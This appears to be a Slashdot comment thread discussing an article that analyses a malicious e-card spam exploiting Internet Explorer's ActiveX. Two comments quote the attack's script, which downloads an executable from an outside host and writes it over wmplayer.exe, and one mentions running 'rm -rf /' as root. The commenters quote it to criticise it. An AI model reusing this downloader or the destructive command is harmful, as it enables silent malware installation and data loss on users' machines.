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Malicious E-Cards - An Analysis of Spam

smashr writes "I ran across this article the other day which is a rather clear analysis of a piece of malicious spam the author received. While most of us simply hit the delete key, the author has taken the time to see exactly what is going on when an innocent user clicks on one of these fake e-cards that are going around. From Russian spyware sites to over-writing wmplayer.exe this particular piece of spam is a rather nasty one."

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  1. I hate ecards by jwthompson2 · · Score: 5, Insightful

    This definitely could be a nasty little thing, thanks to poor security on remote executables. Wouldn't modification of default internet security settings go a long way to resolve this particular instance? Of course as a Mac user I don't have much to worry about with this.

    Does anyone else think that our society is overdue on becoming fed up with all these sort of things?

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    1. Re:I hate ecards by ONOIML8 · · Score: 5, Insightful

      "Of course as a Mac user I don't have much to worry about with this."

      Perhaps you should. Most windows users are somewhat prepared for things like this because it's become a matter of routine. (sick as that is).

      But the average Mac or Linux user wouldn't know what hit 'em. It's good for us to stay alert, be cautious, worry a bit.

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  2. Frightening by JackBuckley · · Score: 5, Insightful

    This is a fascinating bit of detective work that should serve as a reminder to all careless users (especially Windows ones) that *SPAM IS NOT BENIGN*. It's not just annoying ads for penile implants--it can be downright dangerous to your PC.

  3. You might remember me by Anonymous Coward · · Score: 5, Funny

    Hi. I'm Troy McClure. You might remember me from such e-mail how-to videos as "Nigeria: Your Path to Riches" and "Can I Lengthen my Penis 73 inches if I answer 22 emails?"

    1. Re:You might remember me by ggvaidya · · Score: 5, Interesting
      ... "This time, I'm here to screw up your computer and install a virus! How about that? Let's get started ..."

      Why do the poor virus writers go through all this trouble anyways? Don't they know they can get 60% of the machines out there with just an e-mail with an attachment?

      Then again, nowadays a lot of attention is being focused on trojan horses. What about real viruses - something not even hackers can figure out easily? It can't be too hard to write a trojan horse which pretends to be a cool little game for a month or so - before deleting all your files. Can it?

  4. The most frightening bit here by Rope_a_Dope · · Score: 5, Interesting

    ActiveX actually lets a webpage rewrite your wmplayer.exe file with its own version. If an Activex control can rewrite any executable on a Windows box, then I assume that any piece of the Windows kernel is vulnerable. This leads to a larger question, which is, "Is there anybody that actually uses ActiveX on a webpage, and if not, why doesn't Microsoft completely eliminate ActiveX from Internet Explorer?".

    1. Re:The most frightening bit here by ggvaidya · · Score: 5, Informative

      I think you have to be Administrator for the re-write to work. Then again, most of the people I know run as administrator, so ...

    2. Re:The most frightening bit here by CdBee · · Score: 5, Interesting

      "Is there anybody that actually uses ActiveX on a webpage, and if not, why doesn't Microsoft completely eliminate ActiveX from Internet Explorer?"

      (MSN) Chatrooms and Windowsupdate spring to mind as web-based uses of ActivX. Microsoft's decision to ship no Java Virtual Machine in Windows XP doesn't seem to have brought any more users into ActivX chatrooms though, I've seen chatroom moderators recommending users to download Mozilla :-)

      One extra worrying thing though, when you go into an MSN Groups chatroom with Mozilla on Windows, to install the ActivX control for the chatroom you have to install Microsoft ActivX Wrapper for Netscape

      Potentially, Mozilla users are now affected by ActivX insecurities if they accept this download.

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    3. Re:The most frightening bit here by lordDallan · · Score: 5, Interesting

      The better question is why does Windows XP Home only have two user types, a totally crippled limited user (i.e. sh*t doesn't work half the time - so nobody uses it) or a full power, overwrite anything, viruses-be-damned administrator.

      Basically, by having only these two types of users (and not a happy compromise like Win 2K's "Power User"), Microsoft has virtually guaranteed that home users on their newest OS will remain vulnerable to exploits.

      If MS wants to do something really helpful to Windows security in their next Service Pack, they should add a "Power User" account type to Windows XP Home.

  5. Re:e-cards by toasted_calamari · · Score: 5, Interesting

    What really annoys me about e-cards is that even the legitimate ones look like spam, so much so that not only does the spam filter flag them, but I have trouble deciding if someone is being nice to me or trying to exploit my system.

    With regards to the article, thats definitly one of the nastiest browser exploits i've seen in a long time, makes me glad I don't use windows and IE.

  6. Spylog is not spyware! by tgma · · Score: 5, Informative

    While I commend the original article as an interesting dissection of an attempted attack via spam, the heading is a little sensational. It mentions Russian spyware sites, but the site in question is Spylog.com, a reputable Russian monitoring site. Not everything on the Russian internet is malicious, and Spylog does some good work on reporting statistics about the Russian internet.

    Just a minor correction.

  7. Re:Spam in Outlook by Anonymous Coward · · Score: 5, Insightful

    1. It's viruses. 2. Yes, if the exploit in question has not yet been patched.

  8. At what point by GigsVT · · Score: 5, Insightful

    Does this stuff get treated like a virus/trojan, rather than legitimate business?

    If that Osama Bin Laden AIM virus isn't a virus, then I don't know what is. Yet I don't see news stories about the FBI or SS arresting the people that wrote it, even though they are more or less out in the open.

    It seems the rule lately is if you have a commercial intent, then it's OK for you to write viruses and trojans (like weatherbug).

    People actually get pissed off when we tell them they can't have weatherbug on their computer.

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  9. Re:It'd be scary if I ran my PC as Administrator.. by ggvaidya · · Score: 5, Interesting

    That's the point! There's no "crapware" - it's a simple file overwrite! If you're running as Admin..., you won't notice at all - your media player will just suddenly stop working.

  10. Conclusions by kyshtock · · Score: 5, Insightful
    I believe that there are at least 2 conclusions here:

    1. Clicking can be dangerous.

    2. If an operating system is that badly designed so one can actually overwrite an executable only by visiting a web page, than it's time to change the security settings.

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  11. Re:A little bit unfair to Outlook by GigsVT · · Score: 5, Informative

    How do you think Outlook displays mail? Last I checked, it embeds the IE control.

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  12. Turn off HTML viewing in your email client! by turnstyle · · Score: 5, Insightful
    I've said it before, and it's worth repeating... turn off HTML viewing in your email client, and do it now!

    It's an easy way to protect yourself from all sorts of stupid stuff.

    Ahem, turn off HTML viewing in your email client NOW.

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    1. Re:Turn off HTML viewing in your email client! by Anonymous Coward · · Score: 5, Funny

      But that's a cool feature!

      What next? Should I stop using Outlook???

    2. Re:Turn off HTML viewing in your email client! by simp · · Score: 5, Informative

      Switch off HTML formating for Outlook.

      See http://support.microsoft.com/default.aspx?scid=kb; EN-US;307594 on how to do it.

    3. Re:Turn off HTML viewing in your email client! by JPriest · · Score: 5, Informative
      There is a client called pocomail that I use that is pretty safe. It has an intuitive spam filter, you can script it to do about anything with mail, and it has a simple filter setup for sending messages from X to folder Y.

      spam filter:
      "viagra", +9
      "herbal", +6
      "natural", +6
      "to be removed", +5
      "free", +2
      "!!!", +2

      You get the point. You can toggle things like loading external graphics etc. It is really a mail client for power users. Shareware, but one of the few programs I ever purchased.

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    4. Re:Turn off HTML viewing in your email client! by misleb · · Score: 5, Insightful
      But in terms of real, non-technical end-users, HTML is what's out there.

      The point is, attaching pictures to email has absolutely nothing to do with HTML. "Non-technical end-users" don't compose HTML that references pictures because it requires having a Web server to serve the pictures. All you are really going to get out of HTML in an email is varied fonts and colors. As neat as that might be, it is hardly enhanced communication. Nor is it worth the risks.

      95% of the HTML email I get is spam. The other 5% is messages from mailing list subscriptions or Amazon or whatever. Most of those come with both plain text and HTML. If nothing else, most "nontechnical end-users" would do good to turn off HTML so they won't have to look at offensive porn spam with obscene images (not attachments).

      -matthew

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    5. Re:Turn off HTML viewing in your email client! by gnu-generation-one · · Score: 5, Funny

      "I've said it before, and it's worth repeating... turn off HTML viewing in your email client, and do it now!... It's an easy way to protect yourself from all sorts of stupid stuff... Ahem, turn off HTML viewing in your email client NOW.

      I misread that as "turn off HTML viewing in your web browser NOW", and wondered why it wasn't marked as funny...

      Well, it would make some things safer...

    6. Re:Turn off HTML viewing in your email client! by EasyTarget · · Score: 5, Informative

      I've been usuing The Bat (www.ritlabs.com) for about 5 years now, and it's great. No worms, no virii, no pop-ups, no crap. I view all my email as text. And they've been continuously improving the product.

      Where to start.. I finally ditched the Bat! after my five years last week.. and good riddance.

      The UI has not evolved, sure lots of new features get added over the years, but they all end up as hacks into an already clumsy interface.

      The UI is a classic case of a few -really- good features (I do appreciate them) surrounded by poo. Auto-formating in the text is useless, NEVER paste some code and try to annotate it, turning it off leaves everything else looking ugly. Even Outlook manages to format it's messages better.

      The UI displays a classic 'designed by the developers' illness. They can't see it's flaws because they're too embedded in the development. If they'd just employ a professional UI designer to re-jig it, and actually do the things suggested, then it would be a world-beater.

      And you now have to upgrade ($$$) to the latest version to stay current. It's just the same as the old one, hardly any worthwhile new features. A money-spinning enforced upgrade of the most cynical sort.

      If you want it's fantastic filtering systems, wonderful templates, clever widgets, superb PGP support etc.. and are prepared to put a lot of effort and patience into learning and using it, then I heartily recommend it.

      If all you want to do is write emails to people, and read ones you receive, save yourself time and money by looking elsewhere.

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  13. Stay on your toes by J.+Jacques · · Score: 5, Insightful

    This story is just more proof that people need to be proactive about their email and internet browsing habits. The biggest reason that so many people fall for this sort of crap is that they expect their computer to "Just Work", like their TV or microwave. It'd be nice if PCs DID Just Work, but unfortunately it's not the case. If more Windows users would just take the time to check out more secure browsers and email clients, and be more careful about which emails they open and attachments they download, spammers would have a much harder job. It sounds really obvious to anyone savvy enough to read Slashdot, but this really isn't something that occurs to 90% of the people who own a computer.

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  14. Re:It'd be scary if I ran my PC as Administrator.. by clester · · Score: 5, Funny

    You mean it could overwrite /usr/bin/xmms?

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  15. I hate spam by nycsubway · · Score: 5, Insightful

    I would love to eliminate it. To me, it's a complex engineering problem to get rid of it. The problem is presented as this:

    - spam is cheap to produce
    - a sucker is born every day
    - even if 70% of the spam sent out doesn't get to it's destination, millions of messages will still be received
    - spam filters are not installed on all mail servers
    - spam is CHEAP to produce (again)

    Cost is what stops junkmailers from filling postoffice mailboxes. Cost is the biggest barrier to preventing spam. It costs $0.20 to send a bulk mail item through the postoffice, it can get expensive if you want to send millions of junk mails.

    How can email on the internet remain free/cheap and still not allow spam to run rampant?

  16. noHTML for Outlook Express by TasosF · · Score: 5, Informative

    Quote from that article:

    Conclusion

    If you're still using Outlook and Internet Explorer, this is a good time to find alternatives (I suggest FireFox and Thunderbird). Crackers and spammers are getting more and more sophisticated, and are finding ways to fool even experienced and skilled computer users.

    Or alternatively,

    you can use an HTML disabler like noHTML for Outlook Express

  17. Ugly is what ugly does by broothal · · Score: 5, Insightful

    This looks pretty ugly:

    x.Open("GET", "http://adversting.co.uk/a.exe",0);

    and should never have been implemented in a browser. After all, it's not a browsers task to launch files. I remember thinking this back when Windows Explorer and Internet Explorer merged into one (you can actually type URLs in your windows explorer window). <Comic book guy> Worst idea .. ever </Comic book guy>

    1. Re:Ugly is what ugly does by JCMay · · Score: 5, Interesting

      What's sad is that Mozilla Firebird^H^H^H^Hfox now automatically launches certain files, just like IE. Clicking on a .doc, .xls, or .ppt file will automatically open an MS Office application. With all the problems with VB viruses it's unfortunate that Firefox makes this the default.


      There's a fundamental difference between starting an external viewer to view a downloaded file, and just executing the downloaded file. It's not the browser's fault that the external viewers have scripting languages that cause security issues, is it?

      There's nothing wrong with viewing something in Acrobat Reader. I appreciate that when I see articles in Word format that Firefox opens OpenOffice.org's swriter for me.

  18. Re:Spam in Outlook by dave420-2 · · Score: 5, Insightful
    The real problem isn't the technology, but the users. The same principle behind users opening unknown attachments also exhibits itself in the form of people deleting their windows directory.

    Windows, through its near-global adoption and ease-of-use (you can argue the point, but as 98% of desktops are windows, it's a weak argument) has users of every technical ability. It has the users too dumb to use linux. Those guys are the ultimate trojan horse. They just sit there, willingly running anything given to them. It's akin to a dumbass in front of a linux machine, and someone tells them to type in "rm -rf /" as root. It's not the technology's fault, but the user's.

    The reason we don't see as much of this happening on linux isn't solely due to the fact linux is more secure, but because what disruption would be caused by it? Making a linux virus isn't such an accolade as a Windows one, as you can bet it's not going to be on the news when released. The same goes for Macs. The most popular and wide-spread software is always the first to get its copy-protection removed, the first on FTP sites, and the first with known exploits.

    Remember "security through obscurity"? Well, the reverse applies, too.

  19. Using Mozilla on Windows won't protect you ... by Anonymous Coward · · Score: 5, Interesting
    wscript.exe can apparently be launched through Mozilla. Wscript.exe scripts can execute almost anything.

    I had FILEMON running (it monitors all disk i/o) and I navigated Mozilla to http://search.microsoft.com/ and entered a query in the second search textbox. Wscript.exe was fired up and it showed in FILEMON.

    My solution: I renamed wscript.exe and cscript.exe so they can't execute.

  20. Re:Redndant, I know. Don't run as Administrator. by krray · · Score: 5, Informative
    I've said this before and I'll say it again. Run a current version of Windows and run your programs as a regular user, not as a "power user" or as "administrator."

    Tell you what sparky -- YOU try that across a enterprise type installation. Actually there is ONE (1) remaining application running across any of my networks that requires Windows (2K) boxes to remain until something else is phased in: AUTOCAD.

    Go ahead -- try to install and run AutoCAD (2004 release) with Architectural and Mechanical desktops loaded ... as a regular user. I'd love to see you get AEC content networked and working on a local machine as a regular user. Good luck.

    Fortunately the engineering types are special. They've got TWO computers now. 90% of their work is done on CAD which is Windows right now -- the other 10% they tap the Mac for services (file processing, email, web, word, whatever).

    Every other sub-system requiring Windows has been replaced (for us -- started in 2000) and I have to agree with you 100% otherwise: regular users have no reason to run anything as administrator or "root". Just can't do that in the Windows world...

  21. Re:Are there really better alternatives??? by jfengel · · Score: 5, Insightful

    Security through obscurity never works, but there is something to be said for security through diversity. It works because it lowers the "payoff" of writing worms, perhaps to the point where it's no longer worth the effort.

    Without an exhaustive code analysis of Outlook I can't say for certain, but Outlook has a lot of code in it that dates back before malicious worms became a daily occurrence. Because of that, the code seems to have been written with other goals than security in mind.

    I don't mean that to insult MS; it's only in the last five years or so that "absolutely MUST be secure" has been a real consideration for any vendor. Look at Windows 95's silly logon procedures. Before that, many features were added that were dangerous but, in Microsoft's opinion, useful. At least it made a spiffy demo to have systems administrators updating every desktop in the office just by sending email.

    Firebird, etc. have been written in a rather more paranoid age. I'm certain that there are potentially disastrous bugs in it. In this case I have read the code, and I've found a lot of nice defensive programming, but that doesn't preclude mistakes that the authors, me, and a thousand others might all have missed.

    Still, having be written for security from the ground up, with no silly code-executing features and strings all well protected from buffer overruns, I'm putting my faith in the ground-up rewrite that is Firebird/fox to Microsoft's apparently slapdash Outlook/IE combo.

    Microsoft appears to be improving its code, not least because of the withering hail of worms thrown at it because it's the market leader and therefore has the biggest payoff. These days worms all seem to depend not on security holes but on user stupidity or user laziness. This particular article is pointing out a worm that propagates through well-known, and supposedly well-patched, techniques. But there are obviously people out there on whom it works.

    Eventually, Microsoft will have to fix both user stupidity and user laziness in code. Eventually, any new program you receive is going to have to have a system administrator's explicit authorization to run or install itself for the first time. Even "sandboxed" environments like Java can't prevent a user from running an executable and doing at least limited damage. I suspect that someday, code will simply not be authorized to run at all without more than a mouse click between you and ruin.

  22. If you use Outlook for your mail.. by JasonUCF · · Score: 5, Informative
    You need SpamBayes. The beautiful folks behind it have included an Outlook plugin. Now you can knock your bayesian filter self out with a self contained easily run end-client solution. In smaller words, no need for anything fancy from your ISP, just install, plug, and play. In the few days I have used it my spam has literally dropped to 0. Spams are nailed before I even see them show up in the INBOX (it's that fast).

    Go check it out. It's really, really, good, and free, as in, well, um, beer?

    I have spent too many hours building elaborate rule sets, banning Class A IP's, keyword filters, etcetera. The spam still gets through and it carries nasty payload half the time. Bayesian...bayesian... bayesian...

  23. Virus vs. Spam by the+grace+of+R'hllor · · Score: 5, Interesting

    Because Viruses can do better with some effort.

    MSBlaster is still going around. My own average from installing a base WinXP (and forgetting the Blaster fix and other updates) is about two minutes to being infected with the Blaster worm. A friend's personal best was when he was plugging his laptop into the university's network for a bit. After sixteen (16) seconds, his machine had blaster installed and got the RPC to reboot!

    E-mail just can't beat those times.

  24. E-cards are EVIL by rqqrtnb · · Score: 5, Insightful
    Why do people still insist on using e-cards?

    They are spam harvesters. Nothing more.

    I go to great lengths to avoid having my email reach spammer lists. But it only takes one person to screw that email address by submitting it to an e-card spammer.

    Do I need to attach a note to my emails?

    If you are thinking of sending me an e-card:
    • I will be changing my email address address again, much to the chagrin of everyone else.

    • Since you have have proved incapable of not providing spammers with my personal email address, you will NOT be receiving the new one.

    • You are now limited to traditional (non 21st Century) forms of communication with me.

    What possesses people to do it?

    Are they too busy to write me something personal? Do they feel they cannot express their greeting in words? Do they not understand how to attach images? Maybe they actually hate me...

    Bastards.

  25. Re:Spam in Outlook by MooCows · · Score: 5, Informative

    This argument has been going on forever.
    And, IMHO, is only partly correct.
    Windows and it's apps have many "by design" security flaws.

    Short list:
    - Horrible data-binding in many apps (IE/Outlook/etc)
    - Enabling scripts in emails to run in the local zone
    - No warnings for insecure passwords
    - NetBIOS open by default for the internet
    - IIS, period
    - Null sessions
    - Password hashing flaw (l0pth)

    Some of these are fixed, some are not.

    Apache runs on the majority of servers, and it isn't by far hacked as much... just figure.

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  26. Re:Are there really better alternatives??? by orthogonal · · Score: 5, Interesting
    The author recommends moving away from Outlook and Internet Explorer, but in reality, is that just recommending "security through obscurity"? Are packages like Firebird really more secure...?

    Fire{WHATEVER_WEEK_THIS_IS} doesn'tt, so far as I know do this:
    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://adversting.co.uk/a.exe",0);
    x.Send();

    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
    That is, allow a script to create a new instance of the browser's internal engine, run an HTTP GET with it, and save the resulting datastream as an executable file.

    No browser should ever have been written with the ability to do this, and worse yet, IE does it without a single warning to the user!

    Go to web-site, get a new OS!

    And to make it even more ridiculous, it's in a textarea that thanks to a Microsoft extension is not displayed! Did no one at Microsoft stop tho think that there's no good reason to have a hidden textarea (as opposed to a hidden input tag?

    To the contrary, they considered it a positive feature! Why? Because Visual Basic "programers", a core Microsoft constituency -- I don't mean to be harsh, I'm largely self-taught myself, but it has to be said -- some Visual Basic programmers might well not be educated enough to save a key value in a hidden field (to present later to the server, essentially as a "cookie" with the lifetime of one form GET to POST cycle), and instead might save a whole freaking block of text. And so Microsoft accommodated the lowest common denominator of Frontpage wizard user turned self-styled "programmer".

    Was no one thinking about security at Microsoft? My guess is this: all Microsoft was thinking of was that this would enable Visual Basic programmers to "leverage" the Microsoft browser to easily write all sorts of wonderful revenue-generating applications that as browser scripts would effectively run on servers and thus would never have to be sold to end-users, but instead rented over and over, guaranteeing customer lock-in for vendors and thus vendor (and customer) lock-in for Microsoft.

    I mean, Christ. This is just a travesty, and open invitation to all sorts of mayhem. I knew Microsoft didn't give a rat's ass about security, bit I never knew javascript could be so bad.

    I tested a bit of it against my standard Proxomitron filters, and I'm not sure that I'd have blocked it.

    Except that this particular script stupidly hard-codes saving the executable to drive C:, and thanks to some Windows screw up when I was forced to re-install it, thankfully for the last six months, C was read-only on my PC, having been accidently assigned by Windows to my CD-ROM drive.

    I'll switch my drive assignment back today, and make C my CD-ROM (and that's security through obscurity) once again.

    What the hell?
  27. Re:OR by RetroGeek · · Score: 5, Insightful

    You could just simply not view messages from people you don't know.

    Otherwise known as a white list.

    Yes, these work, but part of the utility of the email system is that you CAN get messages from unknown people. I read your email address at some interesting site (slashdot?) and I want to have a one2one conversation with you. So I send you an email. You don't know me from anyone, yet we can have a discussion about something without the entire world being privy to it.

    And this is the real bad effect that SPAM has created. We no longer trust strangers.

    Sigh...

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  28. I'm quite sure... by Kjella · · Score: 5, Insightful

    I don't think they want to make substantial changes. It's convenient for the user having everything on by default, new users having admin priviledges, and so on. Microsoft employs some very smart people. If the company was serious about good security, they could have changed things.

    But that would make everything harder for the end user. MS made a conscious decision against that. The statements about being really serious about security now which come up now and then are just cheap talk.


    ...that Microsoft really would like to change it. They're not exactly too happy about their reputation for spam etc. Then real issue is that consumers don't want security - oh they say they do but they don't. They just want to have their cake and eat it too.

    Users expect being able to double-click a file and have an application run or install itself - yet they would like it not to happen when they do the exact same with a virus/trojan. They would like all their favorite programs to be allowed access the internet - and for all spyware/trojans to be blocked automatically. They would like for their files to be private - but not the hassle of identifying to the computer.

    It's as if they expect the computer to be a fucking telepath with a mind-boggling good AI. The real truth is that most people don't understand a computer worth shit. Sec-uh-rity even less.

    They're like a kid with a full chemistry set. They'll play around with it, and most of the time it's cool. Then they manage to make something toxic or explosive or worse, but somehow that's the chemistry set's fault and it simply shouldn't allow you to make anything dangerous.

    But try suggesting to them up front that they should get a "Chemistry kit for Kids" or "Chemistry kit for dummies" where it's reaaaally hard to screw up and they'll complain their wits out that it doesn't do what they want and that they're ready for the real deal and that they know what they're doing.

    So what do you do when grown men want to buy the full kit, even when you know it'll blow up in their faces? Refuse to sell it to them? Require a "driver's licence" of sorts? Don't tell me it'll all be better with Linux. Right now it's so hard, they won't use it at all, but by the time it gets easy enough that you expect everyone to manage their own desktop (as opposed to now, where you mostly need the local Linux guru), they will screw up their machines just as badly.

    Kjella

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  29. Nice Spin, MS by Anonymous Coward · · Score: 5, Funny
    This article describes a new feature that is added to Outlook 2002 in Microsoft Office XP Service Pack 1 (SP-1)... Click Start, and then click Run. In the Open box, type regedit...

    Was the (Cough) "new feature" originally only intended for internal use (where they know how really risky using their own products can be), or is Regedit going to replace menus in future versions of Windows?